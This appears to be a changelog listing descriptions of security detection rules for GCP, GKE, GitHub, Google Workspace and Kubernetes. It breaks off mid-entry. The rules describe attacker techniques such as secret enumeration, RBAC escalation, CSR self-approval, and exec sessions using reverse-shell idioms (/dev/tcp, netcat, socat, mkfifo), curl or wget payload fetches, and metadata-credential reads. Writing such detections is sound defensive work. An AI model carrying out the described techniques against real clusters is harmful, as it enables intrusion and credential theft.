update | 2 + +|<> | Detects GKE secrets get or list requests from a previously unseen combination of source IP, identity, and user agent, excluding the default Kubernetes client placeholder. Attackers who compromise a pod or steal a kubeconfig often use curl, custom scripts, or atypical clients from a new host to read service-account tokens, registry credentials, or application secrets. Anonymous identities are excluded; use dedicated anonymous-access rules for unauthenticated probing. | update | 2 + +|<> | Detects the first time a human GKE caller lists secrets cluster-wide or in default or kube-system from a source autonomous system that is not attributed to common cloud provider organizations. This can indicate remote secret enumeration using stolen credentials from an unusual network. | update | 2 + +|<> | Detects the first successful GKE secrets.get by a pod service account from a previously unseen combination of service-account identity, user agent, and source IP. Controllers routinely read secrets with a stable client fingerprint; a new user agent or source for that service account could indicate a stolen token used outside the workload (for example curl, a custom script, or kubectl from an unexpected host). | update | 2 + +|<> | Identifies when a firewall rule is created in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may create a new firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. | update | 110 + +|<> | Identifies when a firewall rule is deleted in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may delete a firewall rule in order to weaken their target's security controls. | update | 110 + +|<> | Identifies when a firewall rule is modified in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be modified to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may modify an existing firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. | update | 110 + +|<> | Identifies a Logging bucket deletion in Google Cloud Platform (GCP). Log buckets are containers that store and organize log data. A deleted bucket stays in a pending state for 7 days, and Logging continues to route logs to the bucket during that time. To stop routing logs to a deleted bucket, you can delete the log sinks that have the bucket as their destination, or modify the filter for the sinks to stop it from routing logs to the deleted bucket. An adversary may delete a log bucket to evade detection. | update | 110 + +|<> | Identifies a Logging sink deletion in Google Cloud Platform (GCP). Every time a log entry arrives, Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may delete a Logging sink to evade detection. | update | 110 + +|<> | Identifies the deletion of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. | update | 110 + +|<> | Identifies the deletion of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A publisher application creates and sends messages to a topic. Deleting a topic can interrupt message flow in the Pub/Sub pipeline. | update | 110 + +|<> | Identifies when the configuration is modified for a storage bucket in Google Cloud Platform (GCP). An adversary may modify the configuration of a storage bucket in order to weaken the security controls of their target's environment. | update | 110 + +|<> | Identifies when the Identity and Access Management (IAM) permissions are modified for a Google Cloud Platform (GCP) storage bucket. An adversary may modify the permissions on a storage bucket to weaken their target's security controls or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. | update | 110 + +|<> | Identifies when a Virtual Private Cloud (VPC) network is deleted in Google Cloud Platform (GCP). A VPC network is a virtual version of a physical network within a GCP project. Each VPC network has its own subnets, routes, and firewall, as well as other elements. An adversary may delete a VPC network in order to disrupt their target's network and business operations. | update | 110 + +|<> | Identifies when a virtual private cloud (VPC) route is created in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may create a route in order to impact the flow of network traffic in their target's cloud environment. | update | 110 + +|<> | Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the flow of network traffic in their target's cloud environment. | update | 110 + +|<> | Detects bursts of GKE API requests from an anonymous identity that probe many distinct actions and resources with mostly failed outcomes. This pattern is consistent with unauthenticated permission enumeration against an exposed API server. On GKE GCP audit logs, unauthenticated probes often omit "client.user.email" (null principal) with Unauthorized failures; those events are included alongside "system:anonymous" / "system:unauthenticated". | update | 2 + +|<> | Detects bursts of failed GKE API requests from a single user identity within a five-minute window. Repeated authorization failures across multiple actions can indicate credential stuffing, RBAC probing, or reconnaissance with stolen tokens. | update | 2 + +|<> | Detects a single authenticated GKE identity from one source IP issuing a burst of API calls across many distinct actions and resources with a mix of successful and failed outcomes. That pattern is consistent with automated RBAC permission enumeration rather than steady-state controller traffic. Anonymous probing is covered by a separate rule. | update | 2 + +|<> | Adversaries who land credentials in a GKE cluster—or abuse an over-privileged token, often map the environment before exfiltration or privilege escalation. A practical first pass is to learn where workloads run, how the cluster is partitioned, and what RBAC exists at namespace vs cluster scope. Rapid get/list traffic across many distinct API resource kinds that answer those questions (namespaces, workloads, roles, cluster-wide roles) is a common setup and orientation pattern for both interactive attackers and automated recon scripts. This rule highlights that cross-resource burst from a single client fingerprint within a one-minute bucket when both cluster-layout and RBAC resource kinds are touched, so analysts can separate routine automation from potential discovery ahead of follow-on actions. | update | 2 + +|<> | Detects GKE service account or node identities invoking self-subject access or rules review APIs. Non-human identities rarely enumerate their own permissions outside known controllers; this can indicate stolen tokens probing effective RBAC. | update | 2 + +|<> | Detects a single identity listing Google Cloud Secret Manager secrets across many distinct projects in a short window. ListSecrets does not return secret values, but sweeping many projects is a common reconnaissance step before targeted AccessSecretVersion calls. Legitimate workloads typically list secrets within one project or a small set of projects; cross-project bursts from one user and source IP are uncommon outside security tooling or compromise. | update | 3 + +|<> | Detects create, update, or patch of pods by an unauthenticated anonymous GKE identity. Anonymous pod mutation is a critical misconfiguration signal and a common path for unauthenticated attackers to deploy workloads or maintain access. Includes "system:anonymous" / "system:unauthenticated" and GKE audit rows with a missing principal (seen on unauthenticated Unauthorized/forbidden pod writes). | update | 2 + +|<> | Detects denied GKE API create requests from non-control-plane identities. Failed creates can indicate RBAC probing, stolen credentials with insufficient privileges, or attempts to deploy unauthorized workloads. | update | 2 + +|<> | Detects the first occurrence of a failed GKE API request from a previously unseen user agent. Adversary tooling often uses non-standard clients; combined with authorization failures this can indicate RBAC probing or exploitation attempts. | update | 2 + +|<> | Detects successful GKE pod exec sessions where the executed command implies curl or wget fetching an HTTPS URL. Attackers with pods/exec often run one-liners to stage tooling, pull scripts or binaries, or exfiltrate data over HTTPS—activity that should be rare compared to shells, debuggers, or expected health checks. Common cluster health, localhost, and OIDC/JWKS endpoint patterns are excluded to reduce benign automation noise. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. | update | 2 + +|<> | Detects successful GKE pod exec sessions whose command resembles reverse-shell or bind-shell one-liner patterns, including /dev/tcp and /dev/udp redirection, netcat/ncat exec-style flags, socat shell handoff, mkfifo pipelines, and common language socket idioms. Legitimate debug sessions sometimes use similar building blocks, but together these patterns align with post-exploitation interactive access and command-and-control. Common localhost /dev/tcp health-check ports are excluded. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. | update | 2 + +|<> | Detects the first occurrence of a non-system GKE identity establishing an exec session into a pod. kubectl exec enables interactive command execution inside workloads and is a common post-compromise technique to access secrets and expand access. | update | 2 + +|<> | Identifies a modification to a Logging sink in Google Cloud Platform (GCP). Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may update a Logging sink to exfiltrate logs to a different export destination. | update | 110 + +|<> | Detects modifications to the CoreDNS or kube-dns ConfigMap in the kube-system namespace on GKE. These ConfigMaps control cluster DNS resolution for all pods. An attacker who modifies the CoreDNS Corefile can redirect internal service DNS names to attacker-controlled IP addresses, enabling man-in-the-middle attacks against the Kubernetes API server, database services, and other internal endpoints. Pods that resolve service names via cluster DNS will transparently connect to the attacker instead of the legitimate service, allowing interception of service account tokens, database credentials, and API traffic. DNS poisoning at the cluster level is particularly dangerous because it affects every pod in every namespace simultaneously and does not require any modification to the victim workloads. CoreDNS configuration changes are rare in normal operations and any unexpected modification should be investigated immediately. | update | 2 + +|<> | Identifies an Identity and Access Management (IAM) role deletion in Google Cloud Platform (GCP). A role contains a set of permissions that allows you to perform specific actions on Google Cloud resources. An adversary may delete an IAM role to inhibit access to accounts utilized by legitimate users. | update | 109 + +|<> | Identifies when a service account is deleted in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. An adversary may delete a service account in order to disrupt their target's business operations. | update | 109 + +|<> | Identifies when a service account is disabled in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. An adversary may disable a service account in order to disrupt to disrupt their target's business operations. | update | 109 + +|<> | Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations. | update | 109 + +|<> | Detects successful GKE API requests from unauthenticated anonymous identities using an unusual user agent. Attackers may rely on anonymous access for initial cluster access or to avoid attribution. Matches "system:anonymous" / "system:unauthenticated" and GKE audit rows where the principal is missing (common for unauthenticated clients). Common kube-probe health checks (readyz/livez/healthz/version) are excluded. | update | 2 + +|<> | Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. | update | 111 + +|<> | Detects creation or modification of GKE mutating or validating admission webhook configurations by non-system identities. Malicious webhooks can inject workloads, block security tooling, or intercept API traffic for persistence and defense evasion. | update | 2 + +|<> | Detects when the same non-system GKE identity creates a CertificateSigningRequest (CSR) and then approves that same CSR within five minutes, consistent with self-approval abuse. Attackers who gain CSR create and approval RBAC can submit a certificate request and approve it themselves to obtain a long-lived client certificate without involving cluster operators, a pattern documented in Kubernetes persistence research and adversary emulation. | update | 2 + +|<> | Detects creation or approval of a GKE CertificateSigningRequest (CSR) by a non-system identity. This is a breadth baseline rule for human or custom automation CSR activity on GKE. Attackers with cluster access can submit and approve CSRs to obtain long-lived client certificates that survive token revocation and RBAC changes. Use companion rules to evaluate signer choice, requested identity, and self-approval behavior. | update | 2 + +|<> | Detects creation or modification of a GKE ClusterRoleBinding that grants the cluster-admin ClusterRole, providing unrestricted cluster access and enabling rapid privilege escalation or persistence. | update | 3 + +|<> | Detects creation or modification of a GKE Service with type NodePort. NodePort exposes a static port on every worker node that hosts matching pods, which widens the cluster's external attack surface and can bypass load-balancer and firewall controls. Attackers may create NodePort Services to intercept traffic or establish a direct path into the cluster. | update | 2 + +|<> | Detects creation of a GKE RoleBinding or ClusterRoleBinding that grants permissions to a ServiceAccount, which may indicate privilege delegation or RBAC misconfiguration leading to elevated access. | update | 2 + +|<> | Detects creation or modification of GKE Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs (bind, escalate, impersonate), which may enable privilege escalation or unauthorized access within the cluster. | update | 2 + +|<> | Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP). Each service account is associated with two sets of public/private RSA key pairs that are used to authenticate. If a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly. | update | 110 + +|<> | Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions assigned to that account and evade detection. | update | 111 + +|<> | Identifies when a new service account is created in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If service accounts are not tracked and managed properly, they can present a security risk. An adversary may create a new service account to use during their operations in order to avoid using a standard user account and attempt to evade detection. | update | 110 + +|<> | Identifies when a service account impersonation role is granted on a Google Cloud Platform (GCP) service account via a SetIamPolicy operation. Roles such as "roles/iam.serviceAccountTokenCreator", "roles/iam.serviceAccountUser", and "roles/iam.serviceAccountOpenIdTokenCreator" allow a principal to mint access or identity tokens for the target service account, or to act as it when deploying resources. Adversaries who have obtained sufficient privileges may grant themselves or an attacker-controlled principal one of these roles to impersonate a higher-privileged service account, escalating privileges and establishing durable, key-less persistence that survives credential rotation. This is a New Terms rule that alerts when the granting principal has not been observed performing this action in the last weeks. | update | 2 + +|<> | Detects non-system identities using the GKE nodes/proxy API to reach a node's Kubelet through the API server. The nodes/proxy subresource allows any principal with this permission to call the Kubelet API without direct node network access or Kubelet TLS certificates. Through this path an attacker can list pod specs (including environment secrets), read Kubelet configuration, retrieve container logs, and access running pod metadata on the target node. Monitoring endpoints such as metrics, healthz, and stats/summary are excluded to reduce noise from observability tooling. | update | 2 + +|<> | Detects GKE API requests where a caller is impersonating a privileged cluster identity such as system:kube-controller-manager, system:admin, system:anonymous, or a kube-system service account. These identities have broad cluster-wide permissions including unrestricted access to secrets, the ability to create tokens for any service account, schedule pods on any node, and modify RBAC. Impersonating system:kube-controller-manager grants access to secrets across namespaces and service account token minting for lateral movement. | update | 2 + +|<> | Detects creation of a GKE CertificateSigningRequest (CSR) that requests the kubernetes.io/kube-apiserver-client signer. This signer issues general API client certificates with few subject restrictions, unlike the restricted kubelet signers used for node certificate rotation. Attackers with CSR permissions use this signer to mint long-lived credentials for privileged identities such as system:kube-controller-manager, enabling persistence and privilege escalation that survives token revocation and RBAC changes. | update | 2 + +|<> | Detects allowed updates or patches to the pods/ephemeralcontainers subresource on GKE by a non-system identity. Ephemeral containers are commonly used for debugging (kubectl debug) but can also be abused to inject tooling into a running pod, access mounted secrets, and execute commands in the target pod context. Attackers with sufficient RBAC may use ephemeral containers to escalate privileges, move laterally, or establish persistence without deploying a new workload. | update | 2 + +|<> | Detects GKE pod creation with dangerous Linux capabilities that are commonly abused in container escape techniques. Standalone pods are included; controller-owned ReplicaSet, DaemonSet, and StatefulSet workloads are excluded. | update | 2 + +|<> | Detects GKE pod create, update, or patch events that enable host IPC namespace sharing. This exposes host inter-process communication mechanisms and can support privilege escalation. Controller-owned workloads are excluded. | update | 2 + +|<> | Detects GKE pod create, update, or patch events that enable host network namespace sharing. HostNetwork grants access to the node network stack and can bypass namespace network policies. System identities and controller-owned workloads are excluded. | update | 2 + +|<> | Detects GKE pod create, update, or patch events that enable host PID namespace sharing. HostPID exposes host processes and can support privilege escalation, especially with ptrace or privileged containers. System identities and controller-owned workloads are excluded. | update | 2 + +|<> | Detects successful GKE audit events where a pod is created with allowPrivilegeEscalation enabled. This weakens container isolation and can help an attacker escalate toward host access. Standalone pods are included; workloads owned by ReplicaSet, DaemonSet, or StatefulSet controllers are excluded. | update | 2 + +|<> | Flags an existing GKE Role or ClusterRole being changed (patch or update) so the effective rules become cluster-admin-like: wildcard on every API resource and wildcard on every verb. That is usually a deliberate privilege expansion, not a typo. GKE audit logs with response body capture are required so the detection reads the merged role after apply; loopback source IPs are ignored. | update | 2 + +|<> | Detects GKE pod create, update, or patch events that mount sensitive hostPath volumes such as the root filesystem, kubelet paths, or container runtime sockets. This can enable container escape and credential theft. System identities and controller-owned workloads are excluded. | update | 2 + +|<> | Detects when the same GKE identity creates or modifies a Role or ClusterRole with high-risk permissions (wildcard access, RBAC escalation verbs, or access to secrets / privileged APIs) and also creates or patches a DaemonSet, Deployment, or CronJob within five minutes. This correlation is consistent with RBAC-based privilege escalation followed by payload deployment. | update | 3 + +|<> | Detects write operations performed by GKE service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse or unauthorized privilege escalation. | update | 2 + +|<> | Detects a request to attach a built-in kube-controller-manager service account to a pod running in the kube-system namespace on GKE. These service accounts are admin-equivalent and are not normally assigned to arbitrary pods. An attacker who can create pods in kube-system can abuse these tokens for cluster-wide privilege escalation. | update | 2 + +|<> | Detects the first occurrence of create or patch activity against sensitive GKE workloads (DaemonSets, Deployments, or CronJobs) from an unusual combination of user agent, source IP, and user identity, which may indicate privilege escalation or unauthorized access within the cluster. | update | 2 + +|<> | This rule detects setting modifications for protected branches of a GitHub repository. Branch protection rules can be used to enforce certain workflows or requirements before a contributor can push changes to a branch in your repository. Changes to these protected branch settings should be investigated and verified as legitimate activity. Unauthorized changes could be used to lower your organization's security posture and leave you exposed for future attacks. | update | 211 + +|<> | Detects when GitHub Secret Scanning is disabled for a repository. Adversaries may disable secret scanning to evade detection of hardcoded secrets, such as API keys or credentials, that could be used for further compromise or data exfiltration. | update | 3 + +|<> | Detects the deletion of a GitHub app either from a repo or an organization. | update | 210 + +|<> | Detects a high number of unique private repo clone events originating from a single personal access token within a short time period. | update | 210 + +|<> | This rule is part of the "GitHub UEBA - Unusual Activity from Account Pack", and leverages alert data to determine when multiple alerts are executed by the same user in a timespan of one hour. Analysts can use this to prioritize triage and response, as these alerts are a higher indicator of compromised user accounts or PATs. | update | 103 + +|<> | This rule detects when a new GitHub App has been installed in your organization account. GitHub Apps extend GitHub's functionality both within and outside of GitHub. When an app is installed it is granted permissions to read or modify your repository and organization data. Only trusted apps should be installed and any newly installed apps should be investigated to verify their legitimacy. Unauthorized app installation could lower your organization's security posture and leave you exposed for future attacks. | update | 210 + +|<> | Detects when a private GitHub repository is changed to public visibility. Adversaries may change repository visibility to public in order to exfiltrate sensitive code or data, potentially indicating a compromise or unauthorized access. | update | 4 + +|<> | Detects a high number of repository cloning actions by a single user within a short time frame. Adversaries may clone multiple repositories to exfiltrate sensitive data. | update | 5 + +|<> | Detects when there is activity on a private GitHub repository from an unusual IP address. Adversaries may access private repositories from unfamiliar IPs to exfiltrate sensitive code or data, potentially indicating a compromise or unauthorized access. | update | 4 + +|<> | This rule detects when a GitHub repository is deleted within your organization. Repositories are a critical component used within an organization to manage work, collaborate with others and release products to the public. Any delete action against a repository should be investigated to determine it's validity. Unauthorized deletion of organization repositories could cause irreversible loss of intellectual property and indicate compromise within your organization. | update | 208 + +|<> | Detects a high number of closed pull requests by a single user within a short time frame. Adversaries may close multiple pull requests to disrupt development workflows or hide malicious changes. | update | 5 + +|<> | Detects a high number of failed force push attempts to protected branches by a single user within a short time frame. Adversaries may attempt multiple force pushes to overwrite commit history on protected branches, potentially leading to data loss or disruption of development workflows. | update | 5 + +|<> | Detects when the github-actions[bot] pushes code to a repository where it has not performed this behavior before in a certain time window. This may indicate a supply chain attack where malicious code running in a CI workflow attempts to modify repository contents, such as injecting backdoor workflow files. | update | 4 + +|<> | Detects when a GitHub Actions workflow attempts to create or modify workflow files in a protected branch but is blocked due to insufficient permissions. This behavior is indicative of a supply chain attack where a malicious package or compromised CI/CD pipeline attempts to inject persistent backdoor workflows into a repository. | update | 7 + +|<> | This rule detects the creation of a self-hosted Github runner from a first time seen user.name in the last 5 days. Adversaries may abuse self-hosted runners to execute workflow jobs on customer infrastructure. | update | 5 + +|<> | Detects when a new member is added to a GitHub organization as an owner. This role provides admin level privileges. Any new owner roles should be investigated to determine it's validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. | update | 212 + +|<> | Detects when a new GitHub Personal Access Token (PAT) is created. Adversaries may create new PATs to maintain persistent access to a compromised account or to escalate privileges within an organization. | update | 4 + +|<> | This rule detects when a member is granted the organization owner role of a GitHub organization. This role provides admin level privileges. Any new owner role should be investigated to determine its validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. | update | 212 + +|<> | Detects when Google Workspace administrators initiate bulk movement or export of user Drive data. This includes admin data transfer requests that reassign a user's Drive files to another account, and Customer Takeout export jobs that package organizational data for download or off-platform transfer. Adversaries with administrative access may abuse these mechanisms to stage or exfiltrate sensitive files. | update | 113 + +|<> | Detects when a Gmail routing, mail-forwarding, or custom mail-host setting is created or modified in Google Workspace. Adversaries with administrative access can add Routing rules (also deliver to / change envelope recipient), recipient address map forwarding, or mail hosts and outbound gateways to copy or redirect sensitive email for collection. | update | 113 + +|<> | Detects when an anonymous user views, copies, or downloads a private key or credential file from Google Drive via an anyone-with-the-link share. Adversaries who obtain or create open Drive links can harvest encryption keys and secrets stored in user drives, then use those materials to decrypt data, authenticate to services, or expand access beyond the initial compromise. | update | 11 + +|<> | Google Workspace administrators may be aware of malicious applications within the Google marketplace and block these applications for user security purposes. An adversary, with administrative privileges, may remove this application from the explicit block list to allow distribution of the application amongst users. This may also indicate the unauthorized use of an application that had been previously blocked before by a user with admin privileges. | update | 113 + +|<> | Detects when an administrator adds a domain to the Google Workspace allowlisted (trusted) domains list. Adversaries with administrative access may onboard a domain they control to relax cross-organization sharing restrictions, enabling data collection and exfiltration through Drive, Chat, and other services that honor the tenant trust boundary. | update | 212 + +|<> | Google Workspace administrators whom manage Windows devices and have Windows device management enabled may also enable BitLocker drive encryption to mitigate unauthorized data access on lost or stolen computers. Adversaries with valid account access may disable BitLocker to access sensitive data on an endpoint added to Google Workspace device management. | update | 113 + +|<> | Detects the first time a user authorizes a third-party Google OAuth application that requests identity or sign-in scopes. Adversaries may abuse compromised credentials or phishing-linked consent flows to register novel OAuth clients, obtain refresh tokens, and authenticate as valid users while evading password-only detections. | update | 13 + +|<> | Detects when the Google Marketplace restrictions are changed to allow any application for users in Google Workspace. Malicious APKs created by adversaries may be uploaded to the Google marketplace but not installed on devices managed within Google Workspace. Administrators should set restrictions to not allow any application from the marketplace for security reasons. Adversaries may enable any app to be installed and executed on mobile devices within a Google Workspace environment prior to distributing the malicious APK to the end user. | update | 114 + +|<> | Identifies the occurrence of a security alert from the Google Workspace alerts center. Google Workspace's security alert center provides an overview of actionable alerts that may be affecting an organization's domain. An alert is a warning of a potential security issue that Google has detected. | update | 9 + +|<> | Detects when a custom administrative role is deleted in Google Workspace. Adversaries may delete a custom admin role to disrupt delegated administration, remove security team access, or hinder incident response. Deleting a role removes the privileges it granted from all assigned users and groups, which can cause operational impact or blind spots during an active investigation. | update | 212 + +|<> | Detects when an administrator disables multi-factor authentication enforcement or removes the ability for users to enroll in 2-step verification across a Google Workspace organization or organizational unit. Adversaries with administrative access may weaken tenant-wide authentication requirements to enable password-only sign-ins, facilitate credential abuse at scale, and reduce friction for follow-on account takeover across the domain. | update | 215 + +|<> | Detects an external Google Workspace user account being added to an existing group. Adversaries may add external user accounts as a means to intercept shared files or emails with that specific group. | update | 9 + +|<> | Detects the first time a Google Workspace user successfully signs in from a given source ASN within a 14-day historical window. Most users have a stable set of egress ASNs (home ISP, corporate VPN, mobile carrier). A new ASN for a user is a meaningful anomaly as it surfaces ISP changes and travel, but also catches AiTM phishing-kit relays whose egress ASN was never previously associated with the user. | update | 2 + +|<> | Detects when a previously suspended user's account is renewed in Google Workspace. An adversary may renew a suspended user account to maintain access to the Google Workspace organization with a valid account. | update | 11 + +|<> | Detects when an administrator adds a Google Workspace Marketplace application to the domain. Adversaries with administrative access may register a malicious OAuth application to establish long-lived API access to mail, drive, and other Workspace data, maintaining persistence and enabling collection without relying on a single user password alone. | update | 213 + +|<> | Detects when a Google Workspace user disables 2-step verification (2SV) on their account. An adversary with access to a compromised account may remove 2SV to eliminate the second authentication factor, leaving password-only access and making future sign-ins easier to abuse, relay, or maintain without triggering MFA challenges. | update | 114 + +|<> | Assigning an administrative role to a user or group grants elevated privileges within Google Workspace, including access to the Google Admin console and the ability to manage domain resources and applications. Adversaries may assign administrator roles to an existing account or a newly created account/group to establish persistence, facilitate privilege escalation, and enable follow-on actions across the tenant. In particular, users with Super Admin privileges can bypass single sign-on (SSO) if it is enabled in Google Workspace. | update | 213 + +|<> | Detects when a super administrator authorizes domain-wide delegation (DWD) API client access for a Google Cloud service account or OAuth client. DWD lets an application impersonate users and access Workspace APIs across the tenant. Adversaries with admin access may register or authorize a malicious client with broad scopes to maintain API-based persistence and access mail, drive, and directory data without relying on a single user's password alone. | update | 214 + +|<> | Detects when a custom administrative role is created in Google Workspace. Unlike prebuilt admin roles, custom roles allow granular selection of privileges across Google services and can be assigned to users or groups. Adversaries may create a custom admin role to craft elevated permissions tailored to their objectives, then assign that role to a compromised or attacker-controlled account to establish persistence and enable follow-on actions such as modifying security controls, granting OAuth access, or changing mail routing. | update | 212 + +|<> | Detects when a Google Workspace account completes OAuth authorization for a specific Google OAuth client from a high-risk autonomous system number (ASN), followed within 30 seconds by a device registration event with account state REGISTERED. This sequence can indicate device enrollment or join flows initiated from attacker-controlled or residential-proxy infrastructure after a user authorizes a sensitive client. | update | 2 + +|<> | Detects the first time a Google Workspace user is observed authenticating from a device of a given type (e.g., WINDOWS, MAC, ANDROID, IOS, LINUX) within a historical window. Note that "DEVICE_REGISTER_UNREGISTER_EVENT" events do not represent one-time physical device enrollments; the Google Reports API emits a fresh "google_workspace.device.id" on each event, and the same physical device may produce multiple events per day as sessions/sync renewals occur. The rule therefore surfaces a user authenticating from a new device type, not a new physical device. This is still high-fidelity because adversaries who compromise a Workspace identity via AiTM kits or stolen OAuth refresh tokens frequently relay sessions from device types that diverge from the legitimate user's baseline (e.g., a WINDOWS session appearing for a known macOS user, or simultaneous WINDOWS+MAC sessions within minutes), which is the canonical kit fingerprint. Because the underlying token retains access after password rotation, treat unexpected device-type divergence as a compromise indicator and revoke tokens, not just credentials. | update | 2 + +|<> | Detects bursts of Google Workspace device registration events for the same user, where three or more distinct "google_workspace.device.id" values are emitted in a one-minute window. Although "DEVICE_REGISTER_UNREGISTER_EVENT" fires routinely on session/sync registration and is not a true physical device enrollment, legitimate user activity typically produces fewer than three distinct device IDs in a single minute. A high-cardinality burst is the fingerprint behavior of AiTM phishing-kit relays (Tycoon2FA Google variant, EvilGinx phishlets) and stolen-OAuth-token replay tooling, both of which mint a new session attestation per relay or replay attempt. | update | 3 + +|<> | Detects when a Google Workspace administrator modifies organization password policy settings. Adversaries with administrative access may weaken password requirements, such as disabling strong password enforcement, allowing password reuse, or reducing minimum length, to increase the success of password spraying and credential stuffing against tenant accounts and to sustain access after initial compromise. | update | 212 + +|<> | Detects when a custom admin role or its privileges are modified in Google Workspace. Adversaries may add or expand privileges on an existing role to elevate access for assigned users or groups without creating a new role or directly assigning a well-known admin role. Because privilege changes take effect for all principals assigned the role, modifying role permissions can silently expand access across multiple accounts. | update | 213 + +|<> | Users in Google Workspace are typically assigned a specific organizational unit that grants them permissions to certain services and roles that are inherited from this organizational unit. Adversaries may compromise a valid account and change which organizational account the user belongs to which then could allow them to inherit permissions to applications and resources inaccessible prior to. | update | 113 + +|<> | Detects when secrets or configmaps are accessed, created, modified, or deleted in a Kubernetes cluster by the Azure Arc AAD proxy service account. When operations are routed through the Azure Arc Cluster Connect proxy, the Kubernetes audit log records the acting user as system:serviceaccount:azure-arc:azure-arc-kube-aad-proxy-sa with the actual caller identity in the impersonatedUser field. This pattern indicates that someone is accessing the cluster through the Azure ARM API rather than directly via kubectl against the API server. While legitimate for Arc-managed workflows, adversaries with stolen service principal credentials can abuse Arc Cluster Connect to read, exfiltrate, or modify secrets and configmaps while appearing as the Arc proxy service account in K8s audit logs. This rule uses a 5-day new-terms history window keyed on the impersonated identity and alerts the first time that Azure AD principal performs this activity. | update | 4 + +|<> | This rule detects when secrets are accessed via an unusual user agent, user name and source IP. Attackers may attempt to access secrets in a Kubernetes cluster to gain access to sensitive information after gaining access to the cluster. | update | 4 + +|<> | This rule detects an unusual volume of Kubernetes API get requests against multiple distinct Secret objects from the same client fingerprint (user, source IP, and user agent) within a defined lookback window. This can indicate credential access or in-cluster reconnaissance, where a user or token is used to enumerate and retrieve sensitive data such as service account tokens, registry credentials, TLS material, or application configuration. Failed get requests are also included, as they may reveal RBAC boundaries, confirm the existence of targeted secrets, or reflect automated probing activity. | update | 3 + +|<> | Detects Kubernetes pod exec sessions whose decoded command line references cloud instance metadata endpoints or equivalent hostnames and paths. Workloads that reach the link-local metadata IP, AWS IMDS paths, GCP computeMetadata, Azure IMDS token routes, or encoded variants are often attempting to harvest role credentials, tokens, or instance attributes from the underlying node or hypervisor boundary. That behavior is high risk in multi-tenant and regulated environments because it can expose short-lived cloud credentials to code running inside a container. The rule classifies a coarse cloud target label and whether the string looks like credential retrieval versus lighter reconnaissance. | update | 3 + +|<> | Detects Kubernetes pod exec sessions whose decoded command line references high-value host or in-cluster paths and material types: mounted service account or platform tokens, kubelet and control-plane configuration areas, host identity stores, root dot-directories for cloud and kubeconfig material, common private-key and keystore extensions, process environment dumps, and configuration filenames suggestive of embedded secrets. The intent is to catch interactive or scripted access that often precedes lateral movement, privilege escalation, or credential theft from the node or workload boundary. A narrow exclusion ignores benign reads of resolv.conf. The query also labels an access_type bucket to speed triage without altering the detection predicates you validated. | update | 3 + +|<> | Detects read access to Kubernetes Secrets (get/list) with a user agent matching a curated set of non-standard or attacker-leaning clients, for example minimal HTTP tooling, common scripting stacks, default library fingerprints, or distribution-tagged strings associated with offensive-security Linux images. Legitimate in-cluster automation usually presents stable, purpose-specific user agents (for example controller or client-go variants used by known components). | update | 3 + +|<> | Kubernetes audit identities for kubelet (system:node:*) and workloads (system:serviceaccount:*) are meant to operate with tight, predictable API usage. Direct get or list on the Secrets API from those principals is often a sign of credential access. Attackers who stole a pod service-account token or node credentials sweep Secret objects for tokens, registry credentials, TLS keys, or application configuration. Even denied attempts still reveal intent to reach sensitive material. Legitimate controllers do read secrets they mount or manage, so this signal is most valuable when paired with triage (namespace scope, user agent, RBAC, and whether the identity should touch those secret names at all). | update | 5 + +|<> | Detects list operations on Kubernetes 